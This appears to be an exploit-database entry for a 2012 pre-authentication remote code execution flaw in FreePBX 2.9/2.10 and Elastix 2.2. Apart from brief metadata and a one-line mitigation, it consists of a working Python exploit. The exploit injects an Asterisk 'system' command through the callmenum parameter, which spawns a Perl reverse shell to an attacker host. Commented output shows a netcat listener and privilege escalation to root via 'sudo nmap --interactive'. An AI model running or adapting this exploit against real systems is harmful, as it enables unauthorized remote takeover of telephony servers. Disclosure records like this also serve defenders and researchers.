FreePBX / Elastix pre-authenticated remote code execution exploit

vendor:

FreePBX

by:

muts, SSL update by Emporeo

9,3

CVSS

HIGH

Remote Code Execution

CWE

Product Name: FreePBX

Affected Version From: FreePBX 2.10.0/ 2.9.0, Elastix 2.2.0

Affected Version To: FreePBX 2.10.0/ 2.9.0, Elastix 2.2.0

Patch Exists: YES

Related CWE: notyet

CPE: a:freepbx:freepbx

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Multiple

2012

FreePBX / Elastix pre-authenticated remote code execution exploit

A vulnerability in FreePBX and Elastix allows an attacker to execute arbitrary code on the system without authentication. This exploit was discovered by Martin Tschirsich and was tested on multiple versions of FreePBX and Elastix. The exploit uses a reverse shell payload to connect to a remote host and port, and then uses Nmap to gain root access.

Mitigation:

Ensure that all FreePBX and Elastix systems are updated to the latest version.

Source

Exploit-DB raw data:

#!/usr/bin/python
############################################################
# Exploit Title: FreePBX / Elastix pre-authenticated remote code execution exploit
# Google Dork: oy vey
# Date: March 23rd, 2012
# Author: muts, SSL update by Emporeo
# Version: FreePBX 2.10.0/ 2.9.0, Elastix 2.2.0, possibly others.
# Tested on: multiple
# CVE : notyet
# Blog post : http://www.offensive-security.com/vulndev/freepbx-exploit-phone-home/ 
# Archive Url : http://www.offensive-security.com/0day/freepbx_callmenum.py.txt
############################################################
# Discovered by Martin Tschirsich
# http://seclists.org/fulldisclosure/2012/Mar/234
# http://www.exploit-db.com/exploits/18649
############################################################
import urllib
import ssl
rhost="172.16.254.72"
lhost="172.16.254.223"
lport=443
extension="1000"

ssl._create_default_https_context = ssl._create_unverified_context

# Reverse shell payload

url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'

urllib.urlopen(url)

# On Elastix, once we have a shell, we can escalate to root:
# root@bt:~# nc -lvp 443
# listening on [any] 443 ...
# connect to [172.16.254.223] from voip [172.16.254.72] 43415
# id
# uid=100(asterisk) gid=101(asterisk)
# sudo nmap --interactive

# Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
# Welcome to Interactive Mode -- press h <enter> for help
# nmap> !sh
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)